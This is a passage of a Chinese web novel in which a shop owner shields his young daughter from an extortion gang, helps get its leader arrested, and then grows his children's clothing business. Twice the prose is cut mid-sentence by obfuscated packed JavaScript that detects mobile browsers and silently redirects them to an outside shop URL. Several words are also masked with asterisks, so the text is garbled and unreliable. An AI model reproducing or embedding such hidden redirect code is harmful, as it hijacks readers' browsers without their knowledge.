破洞T恤拍着手,凑到笑笑跟前,想伸手摸她的头发——他的袖子滑下来,露出胳膊上的纹身,是个歪歪扭扭的“虎”字,颜色都褪了。 “这小丫头片子长得挺可爱,让哥抱抱呗,又少不了块肉!” 林凡的拳头“咯吱”响了声,指节因为用力而发白,指甲都快嵌进肉里。一股暴怒冲上头顶,脑子里“嗡嗡”响,恨不得一拳砸在刀螂脸上—— 他前世在工地上练过点力气,搬水泥袋练出了臂力,真要打起来,对付刀螂一个人没问题。可他瞥见身后笑笑发抖的身子,小肩膀一抽一抽的,小手紧紧攥着他的衣角,把衬衫都攥皱了; 残存的理智把这股火压了下去: 不能动手! 自己吃亏是小,万一他们打起来,刀螂要是抓着笑笑当人质怎么办?他能悔死! 他深吸一口气,胸口起伏着,声音冷得能掉出冰碴子: “我再说一遍,离我女儿远点。再敢碰她一下,别怪我不客气。” “不客气?你能怎么不客气?” 刀螂往前凑了凑,鼻子都快碰到林凡的脸,嘴里的烟味喷在林凡脸上,呛得林凡皱紧了眉。 “在这县城里,还没人敢跟我们黑皮哥叫板!识相的,赶紧把该交的‘管理费’补上——一个月五十,不多吧?你这店一天卖两件衣服就够了。” 他的眼神扫过笑笑,带着威胁的狠劲,“不然下次,可就不是跟你闺女开玩笑这么简单了!下次要是让我在学校门口看着她……” “哇——” 笑笑被这凶神恶煞的模样吓得哭了出来,小身子往林凡怀里缩,小手紧紧攥着他的衬衫,眼泪砸在他的衣襟上,湿了一小片。 她的声音里满是害怕:“爸爸,我怕……咱们回家……我再也不要来公园了……我再也不要堆城堡了……” 女儿的哭声像一把尖刀,狠狠剐着林凡的心。他再也没心思跟刀螂掰扯,猛地弯腰抱起笑笑,把自己的外套脱下来裹住孩子; 外套带着他的体温,能给笑笑点安全感。他还把帽子拉上,遮住笑笑的脸,生怕再让她看见刀螂的模样,转身就走。 “喂!别走啊!话还没说清楚呢!” 刀螂在后面叫嚣着,脚往地上跺了跺,沙粒溅起来,却没敢真的追上来——公园里还有不少人看着,有个背着帆布挎包的年轻人,手里正拿着摄影机,好像在录像。 黑皮反复跟他们说“别在人多的地方惹事,免得被抓去蹲局子”,刀螂再横,也不敢违背黑皮的话。 林凡抱着笑笑,大步流星地往家走,脚步快得像在跑。 怀里的孩子还在哭,温热的眼泪渗进他的衬衫,烫得他心口发疼。他一边走,一边轻轻拍着笑笑的背,声音发颤却尽量温柔: “笑笑不怕,爸爸在呢,爸爸把坏人打跑了……不怕不怕,咱们回家吃橘子,甜甜的,是你最喜欢的蜜橘……” 可他的心里,早已经翻江倒海——底线被破了!黑皮这伙人根本没底线! 今天敢在公园里欺负笑笑,明天就敢堵在幼儿园门口,后天说不定还会往店里扔石头、泼油漆!指望他们良心发现,指望街道调解,都是痴人说梦! 必须反击!必须把这伙人彻底解决掉!不然,笑笑这辈子都得活在阴影里,他这个当爹的,还有什么用? 回到店里,王猛正趴在柜台上算账。 账本是林凡特意买的,蓝色封面,里面的格子整整齐齐,王猛的字迹很工整,每一笔收入支出都记得清清楚楚:“13:00女童卫衣一件38元; 13:20橡皮两块2元;13:45作业本三本6元”,总共收入46元。 他手里的笔是黑色的,刚在“作业本三本”后面打了勾,抬头就看见林凡铁青的脸,还有他怀里哭成泪人的笑笑; 吓得手里的笔“啪”地掉在地上,墨水在账本上晕开一小片黑:“凡子!这是咋了?笑笑咋哭成这样?是不是有人欺负你们了?” 第二十七章:不能再这样 林凡把笑笑放在椅子上,从抽屉里拿出婴儿专用纸巾。 是无香的,他特意给笑笑买的,怕孩子过敏。 他轻轻给笑笑擦眼泪,动作慢得怕碰疼她,才咬着牙把公园的事说了一遍,每说一句,声音就沉一分。说到刀螂威胁“在小院门口堵笑笑”时,他的拳头又攥紧了,指节泛白。 王猛听完,“腾”地站起来,抄起门后的拖把就要往外冲——那拖把是塑料杆的,拖把头是蓝色的,上面还有点早上拖地的石灰水。 他攥得杆身发白,指节都泛了青,脚往地上一跺: “妈的!这刀螂敢欺负笑笑!我去揍死他们!让他们知道咱们不是好惹的!上次绿毛来我就看他们不顺眼,这次敢动笑笑,老子非打断他们的腿不可!” “站住!” 林凡厉声喝止他,声音像从牙缝里挤出来,满是压抑的怒,胸口还在起伏,刚才在公园憋的火还没散, “你这样冲出去,除了把自己送进派出所,还能干嘛? 他们三个人,你一个人打得过吗? 就算你打赢了,黑皮能放过咱们? 到时候他带一群人来砸店,咱们这店还开不开? 笑笑还能有安稳日子过吗?” 王猛的身子顿住了,拖把杆被他攥得“咯吱”响,眼睛通红,像头被激怒的狮子,声音都发颤 : “那咋办?就眼睁睁看着他们欺负笑笑? 看着他们来骚扰咱们的店? 咱们就这么窝囊? 这店是咱们辛辛苦苦开起来的,每天起早贪黑,进货、摆货、看店,一分钱一分钱攒的;笑笑是你心尖上的人,凭啥让他们这么欺负?” “当然不窝囊!” 林凡的眼神突然沉了下来,锐利得像鹰,盯着王猛的眼睛,一字一句地说, “但拼命是最蠢的办法。要干,就得用脑子,要么不动,要动就一击致命,让他们再也翻不了身,再也不敢来找咱们麻烦!” 他让王猛先给笑笑倒杯温水—— 还特意兑了点蜂蜜,蜂蜜是上次张阿姨送的,说 “给孩子泡水喝,润嗓子”。 王猛赶紧去倒,还拿着勺子搅了搅,凑到嘴边试了试温度,才递给笑笑: “笑笑乖,喝口蜂蜜水,甜丝丝的,喝完就不难受了。” 林凡看着笑笑喝了两口,又剥了瓣橘子喂到她嘴里—— 橘子是昨天买的,皮很薄,一剥就开,橘瓣上的白丝都摘干净了,笑笑喜欢这样吃。 “爸爸,我困”等笑笑情绪稍微稳定点,他把笑笑抱到旁边,哄着笑笑在折叠床上睡着了。 他才走进里间,关上门。 里间很小,只有六平米,堆着些库存的童装,还有一张小小的折叠床——平时他中午休息就在这儿。 墙角的箱子里放着笑笑的玩具,有积木、玩偶,还有一个小小的画板,上面画着笑笑写的“爸爸”两个字,歪歪扭扭的。 愤怒像火一样烧着他的脑子,可他知道,现在必须冷静——只有冷静,才能想出管用的办法,才能护着笑笑。 硬碰硬肯定不行。 黑皮是这一片的地头蛇,手下有十几个小弟,平时在批发市场、游戏厅、网吧里晃悠,没人敢惹。 有次一个卖水果的大叔跟他们顶嘴,第二天水果摊就被砸了,苹果、橘子撒了一地,大叔还被打了两拳,最后只能搬去别的地方卖。 而且他们光脚不怕穿鞋的,自己要是跟他们闹起来,店保不住是小事,笑笑的安全才是大事。 报警?他也想过。可上次市场里的老周被黑皮勒索了两百块,报了警,警察来了也只是批评教育了黑皮几句,说“没有实质性伤害,不能立案”。 没几天,老周的杂货店门口就被泼了油漆,红油漆写着“多管闲事”,老周最后只能自认倒霉,给了黑皮五百块“保护费”。 没有确凿的证据,警察也没办法,回头他们肯定会变本加厉地报复。 那该怎么办? 借力打力? 还是抓他们的把柄? 林凡的脑子像转得飞快的齿轮,前世看的法制节目、听工地上的工友说的闲事,一条一条冒出来。 他想起前世有个工友说,他们老家的地痞被抓,就是因为有人收集了他们勒索、**的证据,比如录音、视频,还有其他受害者的证词,一起报给了派出所,最后那伙人被判了一年刑。 黑皮这伙人横行这么久,不可能没案底,也不可能没仇家。他们的弱点是什么? 是“钱”——他们收保护费、敲诈勒索,都是为了钱。没了钱,他们就活不下去,小弟也会散; 也是“怕”——他们怕被抓进派出所,怕蹲监狱,怕丢了能欺负人的“威风”。一旦真的要坐牢,他们比谁都怂,毕竟没人想在牢里过年。 他突然想起工商所的刘科长。 上次刘科长来检查时,虽然脸冷,说话也硬,问得特别细——从进货渠道(要了批发商的联系方式)到定价(看了成本单),都问了一遍,但看得出来是个讲原则的人。 当时刘科长还跟他说“做生意先把规矩立住,合法经营,谁也不能欺负你”,这话不是随口说的。 黑皮团伙长期敲诈勒索合法商户,这本身就是在破坏市场秩序,是在打管理部门的脸,如果能拿到他们勒索的证据,刘科长肯定会管。 比如录音——虽然现在录音设备少见,但他记得城西旧货市场有个摊位卖旧录音机,是银色的,上次路过时问过,要二十块钱。 他可以明天早上进货的时候去买,到时候黑皮再来要“保护费”,就偷偷录下来;或者联合其他被勒索的商户一起举报,多个人多份力,人多了,刘科长肯定会重视,说不定能让工商联合**一起介入。 可这需要时间,也需要机会——总不能直接冲上去跟黑皮说“你勒索我,我要录音”,那样只会打草惊蛇。 另一个办法更直接,却也更危险。 黑皮这伙人光靠收保护费,肯定不够他们挥霍——他们每天抽的烟是二十块一包的,还经常去游戏厅打游戏,一局游戏就要五块钱,有时候还去小饭馆喝酒。 钱从哪来? 说不定还有别的营生,比如偷偷聚在某个地方**? 或者帮人销赃?再或者偷偷倒卖假货? 如果能找到这些证据,只要捅到派出所,足够他们喝一壶的,说不定还能把他们送进去蹲几天。 他想起上周进货时,在游戏厅后面的小巷里,看到黑皮和几个小弟跟一个穿黑色外套的人交易——黑皮手里拿着一个黑色的包,递给那个人后,那个人给了黑皮一沓钱,看起来有几千块。 当时他没多想,现在想来,那包东西说不定是赃物,比如偷来的手机、电动车零件? 一个大胆又危险的计划,慢慢在他心里成型。 这个计划需要耐心,需要时机,甚至可能要冒风险——说不定还会被黑皮发现,招来更狠的报复。但为了笑笑,为了这个好不容易才有的家,他愿意赌一把。 他推开里间的门,笑笑醒了,王猛正蹲在地上,给笑笑剥橘子。 他把橘瓣上的白丝都摘干净了,一片一片递给笑笑,还跟笑笑说: “笑笑,咱们下次不去那个公园了,等周末我带你去郊外的公园,那儿有好多小鸭子,好不好?” 见林凡出来,王猛立刻站了起来,眼睛里满是急切:“凡子,想到办法了?” 林凡点了点头,走到王猛面前,声音压得很低,却带着不容置疑的坚定: “猛子,从今天起,你帮我做三件事。第一,你平时多跟街上的小贩聊聊——比如卖早点的张叔、修鞋的李师傅、还有市场里卖蔬菜的陈婶。 他们在这一片待得久,肯定知道黑皮这伙人除了收保护费,还干别的啥,常在哪**,跟哪些人来往,有没有人见过他们**或者倒腾东西。 你跟他们聊的时候别太刻意,就像平时拉家常一样,比如跟张叔一起抽烟的时候问‘张叔,最近黑皮那伙人没再来闹吧?我听说他们好像还干别的事’,免得他们害怕不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607493|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敢说。 第二,留意下这条街上还有没有其他小店被他们骚扰过——比如隔壁的文具店、巷口的杂货店、还有街尾的理发店。 你可以去文具店买笔的时候,跟老板说‘我家店最近总有人来要管理费,不知道你家有没有’;去杂货店买酱油的时候,跟老周聊两句,看看他愿不愿意跟咱们一起举报。 但别声张,也别说是我让你问的,免得人家害怕,毕竟谁都不想惹麻烦。 第三,也是最重要的——以后只要我不在店里,你必须寸步不离跟着笑笑。她去幼儿园你送,下午你接; 她去公园你跟着,去买零食你也跟着;就算她在店里玩,你也得坐在旁边看报纸,时不时看一眼笑笑,绝不能再让她一个人落单!我已经让她受了一次惊吓,不能再让她受第二次了。” 王猛重重地点头,攥着拳头,指节都泛了白,语气斩钉截铁: “凡子,你放心!这三件事我肯定办妥当!打听消息我在行,平时跟张叔他们也聊得来,他们都知道我实诚,肯定会跟我说; 保护笑笑更没问题——我王猛就是拼了这条命,也不会让那帮杂碎再碰笑笑一根手指头!上次绿毛来我就该跟他们翻脸,当时我就觉得他们没安好心,这次绝不能再忍了!” 林凡拍了拍他的肩膀,眼眶有点热——在这难捱的日子里,王猛的这份兄弟情,是他少有的慰藉。 他知道,王猛虽然性子直,有时候有点冲动,但说到做到,绝不会糊弄他。 当初开这店,王猛没有出一分钱。说“凡子,我没别的本事,就想跟你一起干,让笑笑能过上好日子”,这份情,他记在心里。 他走到柜台边,抱起笑笑。 孩子的眼睛还是红的,却已经不哭了,小手紧紧搂着他的脖子,把脸埋在他颈窝里,声音小小的,带着点委屈:“爸爸,我以后不想去公园了,也不想出门了,我怕再碰到坏人。” 林凡的心像被针扎了一下,疼得厉害。 他轻轻摸了摸笑笑的头,手指蹭过她柔软的头发——那头发是刚洗过的,还带着点洗发水的香味。 他亲了亲笑笑的小脸,用前所未有的坚定语气说:“笑笑不怕,爸爸向你保证,以后再也不会有坏人欺负你了。相信爸爸,好不好? 咱们的店会好好的,笑笑也会好好的,以后爸爸还带你去公园堆城堡,比上次的还大,咱们还在城堡旁边插好多小旗子。” 笑笑抬起头,看着他的眼睛——林凡的眼神很坚定,像山一样可靠。她慢慢点了点头,把脸埋得更深了,小胳膊紧紧抱着他的脖子,像抓住了最安全的依靠。 林凡抱着女儿,目光越过玻璃门,望向外面那条看似平静的街。 阳光还暖着,街面上的人慢悠悠地走: 穿蓝色围裙的阿姨提着菜篮,里面装着刚买的青菜和豆腐;骑自行车的大叔车后座绑着个大西瓜,西瓜皮是深绿色的,带着条纹; 还有个小女孩牵着妈妈的手,手里拿着个棉花糖,粉粉的,像朵小云彩。 街角的老槐树上,几只麻雀在枝头跳着,叽叽喳喳地叫,细碎的白色花瓣还在往下飘,落在地上,被风吹得打旋。 可他的眼神却冷得像冰,带着决绝的狠劲—— 龙有逆鳞,触之必怒。黑皮这伙人,已经把他逼到了墙角,也点燃了他心里最烈的火。 这场仗,他必须赢。 不为别的,只为守护怀里这个小小的、他视若珍宝的女儿, 只为守护这个好不容易才有的家,只为让笑笑能安安稳稳地笑,能不用再怕坏人, 能像别的孩子一样,在公园里自由地堆城堡、追蝴蝶,能在晚上睡觉的时候, 不用抱着他的脖子说“爸爸,我怕”。 一场无声的狩猎,已经拉开了序幕。 他手里攥着的不是**,是给笑笑的安稳日子, 是对这个家的责任,是作为一个父亲, 绝不允许任何人伤害女儿的决心。 这一次,他绝不能输,也输不起。 第二十八章:风波暂息 派出所的介入像一场裹着冷光的寒流,晨雾浓得像掺了半盒牛奶,能见度不足五米。 红蓝警灯穿过去时,只能在雾里拖出两道模糊的光带,扫过墙根处堆积的旧纸箱和冻硬的白菜叶——警笛的呜咽声压得极低,像困兽憋在喉咙里的喘息,刺破了清晨的寂静。 冷雾扑在脸上带着霜气的凉,钻进衣领里打个转,连墙角藏了半冬的霉味都被冻住,凝在砖缝里微微打颤,混着早起环卫工扫地的“唰唰”声,成了这天最早的动静。 黑皮和三个核心手下因“****现行”被铐走的消息,没半天就顺着街面的风飘遍了每个角落; —卖早点的张叔在冒着热气的油锅前揉面,面团在他布满老茧的手里转得飞快,揉出一层油亮的光,油条的香气裹着白汽飘得满街都是。 他压低声音跟买豆浆的大妈说: “早该抓了!去年他抢我半箱土鸡蛋,三十个,是我给孙子攒的,他一把夺过去,鸡蛋碎了一半,黄澄澄的蛋液流了我一裤腿,我攥着空篮子,手都抖得撒了半袋盐!” 说话时面团还“啪”地往案板上摔,带着股憋了半年的劲,震得案边的醋瓶都晃了晃。 修鞋的李师傅坐在小马扎上,锤子敲在鞋钉上“笃笃笃”地脆响,比往常急了三分,震得面前的铁砧子都发颤。 他手上的老茧蹭过黑色鞋面,蹭出细绒,嘴里哼的《歌唱祖国》跑了调,却敞亮得能飘到街对面——上周黑皮的手下还来讹了他五十块“保护费”,说他的修鞋摊挡了路,现在没了顾忌,连锤子都挥得更有力。 连卖菜的刘婶称菜时,杆秤的绳儿都不晃了。 她给客人递葱时多塞一根,指尖还沾着青菜的露水,笑着说: “多拿点,炒着香!” 前阵子她因为少给黑皮“管理费”,一筐西红柿被掀翻在地上,烂了大半,现在秤杆翘得高高的,连秤砣都恨不得往重了放。 那些往日被黑皮欺负得低头走路的小商贩,表面上依旧收摊、吆喝,可眼神里藏不住的松快——卖糖葫芦的老王擦肩而过时; 会悄悄给林凡递个“这下好了”的眼神,嘴角压着的笑像刚冒头的春芽,顶着点嫩白;炸麻花的赵姨装麻花时,多给了孩子半根,说“吃吧,管够”,语气里的底气比往常足了十倍。 林凡的“笑笑宝贝屋”还是每天清晨六点半开门。 木门推开时“吱呀”一声,带着老房子的温吞,门轴上的锈迹蹭出细碎的声响。 他穿着那件洗得发蓝的白衬衫,领口扣得整整齐齐,连第二颗纽扣都没歪,站在货架前整理新到的童袜; 指尖捏着袜口轻轻抻开,淡粉色的袜面上绣着小小的小熊耳朵,耳朵是浅棕色珊瑚绒做的,捏起来能感觉到绒丝的回弹; 袜口缝了两圈莱卡橡筋,拉到最大能撑到十五厘米,松开后立刻恢复原状,不会松垮垮地堆在脚踝;棉线织的细密针脚没歪一根,抻到最开也不会崩线,连袜跟的弧度都熨帖得像贴在掌心。 他的表情平静得像晒过太阳的井水,连眼底都没什么波澜,仿佛那晚蹲在五金店后巷盯梢、跟着警察去作证的惊心动魄,只是一场醒了就忘的梦; 后巷的墙是夯土墙,掉了不少皮,露出里面的碎石子,他蹲了快两个小时,膝盖压着颗拇指大的石子,回家后发现裤膝盖磨破了个洞,里面的秋裤还沾着墙灰; 夜风裹着垃圾桶的馊味,他攥着手机的手心里全是汗,屏幕都被按得发烫,这些细节像被揉皱的纸,藏在平静的褶皱里。 只有王猛知道这平静下藏着什么。 他给林凡递搪瓷杯时,手还会轻轻抖——搪瓷杯上印的“劳动最光荣”字样掉了一半,只剩下“劳动”两个字还清晰,杯沿缺了个小口,是上次搬货架磕的,边缘磨得有点糙,蹭到手指时痒酥酥的; 杯底沾着浅褐色的茶渍圈,是没洗干净的旧痕。热水晃出小半圈,在杯壁上留下淡白的印子,淡淡的茶碱味混着热气飘出来,是他早上特意泡的粗茶,茶叶是从老家带来的,梗多叶少,却耐泡。 王猛眼神里满是近乎崇拜的光,混着点没散的后怕,擦货架时总往林凡身边凑,抹布在铁架上“沙沙”响,嘴张了又张,想问“那晚你咋知道黑皮会去偷五金店”,可每次都被林凡的眼神按住: 林凡会轻轻摇下头,或者指一下店外——比如街对面文具店老板正往这边瞟,镜片反射着晨光,那老板上个月刚被黑皮抢走两盒钢笔,现在见谁聊黑皮都怕惹祸,手里的账本翻得“哗啦”响,连肩膀都绷得像拉满的弓。 王猛立刻闭了嘴,拿起扫帚往店角躲,扫地面时比平时卖力三倍,连橡皮屑都要捏起来丢进小纸篓,扫帚杆都被握得发白。 “凡子,这下可算清净了!” 这天中午没客人,阳光透过玻璃门洒在柜台上,把货架上的童袜照得发亮,连灰尘都在光柱里跳着细碎的舞,落在林凡的账本上,像撒了把金粉。 王猛靠在柜台边,声音压得低低的,却藏不住兴奋,手指在柜台上轻轻敲着节奏,“嗒嗒嗒”的,像在打不成调的拍子,指节上的老茧蹭过木头柜台,留下浅痕。 “没想到黑皮这孙子也有今天!真是报应!以后再也没人敢来收那破‘管理费’了!” 林凡正低头核童装进货单,笔尖在“纯棉外套??每件18元”那行停了停,纸上的墨迹还没干,蹭得指尖有点发蓝—— 钢笔是三块钱买的英雄牌,笔尖有点歪,写“8”的时候总显得扁。头也没抬,语气淡得像扫过店门的风: “猛子,祸从口出。这事儿过了,就烂在肚子里。咱们就是守小店的老百姓,黑皮是谁、为啥进去,跟咱们没关系,明白不?” 他说着,抬眼往店外扫了一眼——街对面文具店老板赶紧低下头,假装整理货架上的笔记本,指尖把本子翻得“哗啦”响,连手指都在抖,生怕被当成“嚼舌根的”。 王猛愣了一下,随即拍了下后脑勺,掌心的老茧“啪”地响,连忙点头: “明白明白!我啥也不知道!” 他做了个“封嘴”的动作,手掌紧紧贴在嘴上,指节都泛白,可眼睛里的喜色还是溢了出来,像盛不下的光。 转身擦货架时,嘴里哼起了不成调的《东方红》,调子跑了八百里,却透着股松快,抹布擦过童衣的棉布,留下淡淡的水渍,他又赶紧用干布蹭了蹭,怕留下印子。 林凡看着他的背影,笔尖在进货单上轻轻划了道线。 他知道,这平静是偷来的——黑皮进去了,可他那些外围小弟还在: 前几天早上,他开门时看见巷口蹲着两个染黄头发的年轻人,正盯着对面的杂货店,手里捏着烟,烟蒂扔了一地,看他出来就赶紧转开脸,那眼神跟黑皮的手下以前一模一样; 而且这次借派出所的手,靠的是五金店老板的报案,还有自己悄悄递的“黑皮常去的落脚点”纸条,纸条用的是杂货店找零的小票背面,纸质薄得透光,铅笔字写得太用力,都透到了另一面; 他把纸条折成指甲盖大小,趁五金店老板送东西时塞给对方,手指碰了一下就赶紧缩回来,怕留下指纹。手法太巧,万一被有心人扒出来,难免惹麻烦。 这些担忧像根细刺,扎在他心里,连吃饭时都嚼不出滋味。 早上买的肉包子,肉馅的油香都盖不住心里的发堵,咬了三口都没尝出咸淡。当前最要紧的,是趁着这股清净劲,把店的根扎得深些,再深些,像老槐树的根,抓牢了土才不怕风。 店里的生意果然比以前红火。 没了黑皮一伙人的骚扰,附近的家长敢带着孩子慢慢挑了; 有次李姐带着孩子来买外套,以前刚挑了两件,黑皮的手下就晃过来,李姐吓得赶紧把衣服扔回货架,拉着孩子就跑,连掉在地上的围巾都没敢捡; 现在她能带着孩子试三件外套,孩子坐在小凳子上,把外套的帽子戴在头上,转着圈问“妈妈好看吗”,李姐笑着掏出手机拍照,还跟林凡聊孩子的尺码,聊了快十分钟,临走时还买了两双童袜。 林凡把更多心思花在经营上,每天关店后都要翻账本——账本是从批发市场买的横线本,封面用透明胶带粘过; 因为翻得太多,第15页和16页粘在了一起,他用指甲小心翼翼地分开,纸页边缘裂了个小口,赶紧用胶带补好。 翻账本时指尖沾了墨痕,连“荧光笔多卖了5支”“橡皮少了1块库存”都要标出来,红笔圈得小小的,像个小太阳。 他算得清清楚楚:文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607494|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 具类利润薄得像张纸,一盒铅笔进价1.2元,卖1.5元,一盒赚0.3元,十盒才赚3元,够付半天房租的零头; 反倒是童装,尤其是那些棉含量超过95%、领口缝了软布的,虽然进价18元比普通童装贵3元,卖25元也比别家高2元,家长却愿意买—— 张阿姨上周一下子买了两件外套,手指摸着领口的软布,那软布是婴儿专用的纯棉纱布,洗过三次都没起球,她笑着说: “你家这外套洗了不变形,孩子穿着不硌脖子,比百货大楼的还划算!百货大楼同款要35元,还没你这软乎!” 临走时还跟隔壁楼的李姐推荐“去笑笑宝贝屋买,靠谱”,声音大得连路过的人都回头看,当天下午李姐就来买了件蓝色的。 一个念头在他心里慢慢冒出来,像春芽顶破了土,带着点嫩白的尖:能不能把童装当重点? 甚至以后找小加工厂,按自己的想法做设计——比如在袖口绣个3厘米的小太阳,用金黄色的丝线绣轮廓,中间的圆点用橙色亮片,孩子抬手时亮片会反光,像真的太阳在闪; 或者把裤子腰头做得松些,选2厘米宽的婴儿专用橡筋,再缝层软布,孩子自己就能穿脱,不用麻烦大人;裤脚还能缝个小按扣,孩子长高点就把按扣解开,裤脚放下来能多穿半年。 这样就不用只靠批发市场拿货,利润能从每件7元提到10元,还能跟别家店拉开差距。 他把这个想法写在笔记本上,字迹比平时重了些,墨色深了一层,旁边画了个歪歪扭扭的小外套,袖子画得一边长一边短,还标了行小字“找加工厂——问李干事(社区就业帮扶),红星服装厂?”。 他知道这远不是现在能做到的:红星服装厂在郊区,上次听李干事说过能接小批量订单,五十件起做,可五十件纯棉外套的进价就要九百块,他现在手里的流动资金只有四百多; 而且还得找懂设计的人改样式,自己画的图太丑,工厂未必能看懂。可这个念头像颗泡了水的种子,在心里发了芽,透着股韧劲,就算被土压着,也想往上钻。 连环画的收藏也没停,只是更隐秘了。 他不再自己跑废品站——上次去废品站时,黑皮的手下还盯过他,问他“收破烂干啥”,现在想起来还后怕。 他托了老货郎赵叔帮忙留意,赵叔推着辆永久牌旧自行车走街串巷,车把上缠了圈旧布条防硌手,后货架用铁丝加固过,绑着个印“农业学大寨”的帆布包,里面除了旧物件,还装着个搪瓷缸。 赵叔走街串巷三十年,谁家有旧书旧物件都知道,车铃“叮铃铃”响,消息比谁都灵通。 每次赵叔收到旧连环画,都会用旧报纸包好——报纸是前一天的《晚报》,还带着油墨味,包得方方正正,再托去市区进货的杂货店主捎到店里。 林凡趁晚上关店后,把报纸包揣在怀里,贴着肚子,怀里的温度把纸页烘得暖暖的,像揣了个小暖炉,慢慢走回筒子楼——怕路上遇到熟人问,他还会把包塞进外套里,拉链拉到顶。 上次赵叔还托人带了张纸条,用铅笔写着“收了三本《西游记》(1、3、4册),品相中等,纸没糟,第1册封皮缺角,第3册有铅笔涂鸦”,字迹歪歪扭扭,还沾了点泥点,应该是赵叔在田埂上写的。 林凡给赵叔送了两斤橘子味水果糖,糖纸是透明的,能看见里面橘黄色的糖块——特意选了硬糖,因为赵叔牙不好,软糖粘牙; 还多塞了五块钱辛苦费,是一张两块、三张一块的零钱,叠得方方正正,放在糖袋最下面,说“麻烦您多留意,有好的别放过,尤其是《大闹天宫》《哪吒闹海》这些”,语气里带着点恳求。 他把收来的连环画放在一个旧木箱里,木箱是从旧货市场淘的,花了二十块,木头带着股老松味,锁是后来配的铜锁,有点锈,开的时候“咔嗒”响,藏在床底下,上面还压了个装换季衣服的纸箱。 每次整理时,他都会用笑笑穿小的袜子改的软布擦封面上的灰,布软乎乎的,连纸页间的虫蛀小洞都要仔细看—— 有本《三国演义》里有个黄豆大的小洞,他用指尖拂过,能感觉到纸的薄,心里还会可惜“要是没破就好了,能多值点钱”。 第三十章:王猛与笑笑 春意顺着梧桐枝桠往街面上淌,新抽的嫩芽裹着层淡绿的绒,指尖一碰软得像浸了三月的温水,一捻能掐出嫩汁来; 那触感跟笑笑刚冒头的指甲盖一模一样,透着股能掐出水的嫩,连阳光落在芽尖上,都要软趴趴地折个弯,洒在地上成了碎金似的光斑,踩上去能听见“沙沙”的轻响,是碎叶被鞋底碾过的声儿。 九十年代的县城还没被高楼撑得憋气,街边老房子歪着灰瓦檐,青瓦缝里还嵌着去年的枯草,风一吹就晃悠悠,偶尔掉根草屑在路过姑娘的辫梢上; 晾衣绳从这家窗台牵到那家墙头,挂着洗得发白的碎花被褥,被风鼓得像小帆,绳上夹着的旧衣夹“咔嗒咔嗒”晃,蹭得绳子轻响,连被褥上的肥皂味都跟着飘,混着墙根下野蔷薇的淡香。 早点摊的蒸笼冒着裹香的白气,把张叔的脸熏得发红,他的吆喝声裹着葱花味飘出半条街: “油条豆浆嘞——刚出锅的!咸浆加辣油不?” 几个老头蹲在梧桐树下的青石墩上下棋,竹编棋盘被磨得发亮,棋子落下去“啪嗒”一声脆响,混着芽尖蹭风的“沙沙”声,把春日的暖烘得扎扎实实,连蹲在旁边看棋的大黄狗,都眯着眼打了个带暖意的哈欠,尾巴扫过地面的碎叶,扫出道浅浅的痕。 阳光透过叶片缝隙筛进“笑笑宝贝屋”,在扫得发亮的水泥地上织出斑驳碎金; 有的落在蓝白相间的橡皮盒上,让盒面小熊图案泛着暖光,连小熊的黑纽扣都像沾了阳光,摸上去温温的; 有的绕在浅粉色童装的衣架上,把棉布的纹路照得清清楚楚,伸手一摸,棉线软得能裹住指尖,还带着点刚拆包的棉絮香; 还有几缕落在柜台的玻璃罐上,罐里笑笑攒的玻璃弹珠折射出细碎的光,转着圈儿晃,偶尔撞在罐壁上“叮”一声轻响。 店里木墙上贴满笑笑的画,歪歪扭扭的小太阳用红蜡笔涂得冒了边,颜色浓得像要滴下来,旁边粘着颗彩纸折的小星星,边角卷得像小浪花,是笑笑用舌头舔了胶才粘住的,还能看见淡淡的口水印; 门楣上挂着串小铃铛,是林凡去年去市里进货时挑的,铜铃儿亮闪闪,磨得没有一点锈迹,客人推门时“叮铃”一响,像撒了把碎糖,连空气都甜得发暖。 张婶拎着竹编菜篮进来,篮底沾着新鲜的泥点,青椒蒂上还挂着小水珠,土豆滚圆得能在篮里打转,她指尖戳了戳货架上的白色童袜,指甲缝里还嵌着点青菜汁: “凡子,上次买的这袜子真耐穿!我家妞妞洗了三回都没松口,袜底防滑纹还清清楚楚,再给我拿两双粉色的!” 林凡笑着递过去,指腹习惯性捏了捏袜口——确认弹性没松,针脚也没歪,才放心塞进张婶菜篮,还多拿了个小塑料袋,袋口是他特意捋平的:“婶,装两层,免得漏了沾灰。” 没了黑皮团伙的骚扰,店里的日子像上了正轨的钟,每声“滴答”都透着踏实。 王猛擦货架时会哼两句《垄上行》,跑调的调子裹着洗衣粉的皂角香,连擦货架的抹布都拧得半干,怕水渗进木头缝里胀坏板,擦到边角时还会用指甲抠一抠,把藏在缝里的灰都剔出来; 客人挑东西时能多聊两句家常,李姐捏着件黄色卫衣笑,指尖捏着卫衣的领口轻轻拽了拽,试看弹性: “你家笑笑最近又长高了,上次见她还够不着这货架呢,现在踮脚都能勾着衣摆了!” 顺便问童装进货价,林凡也不藏着,指了指卫衣内侧的标签: “这卫衣进价十八,卖二十五,就赚个进货跑腿的辛苦钱。” 连空气里的石灰味都淡了——之前隔壁修房子,粉尘总飘进来,落在童装领口上白花花一层,拍都拍不干净; 现在墙刷完了,取而代之的是新到童装的棉絮香,混着林凡早上喷的一点点花露水,是最便宜的薄荷味,清清爽爽的,闻着都舒心,连客人都说“你家店比别家好闻”。 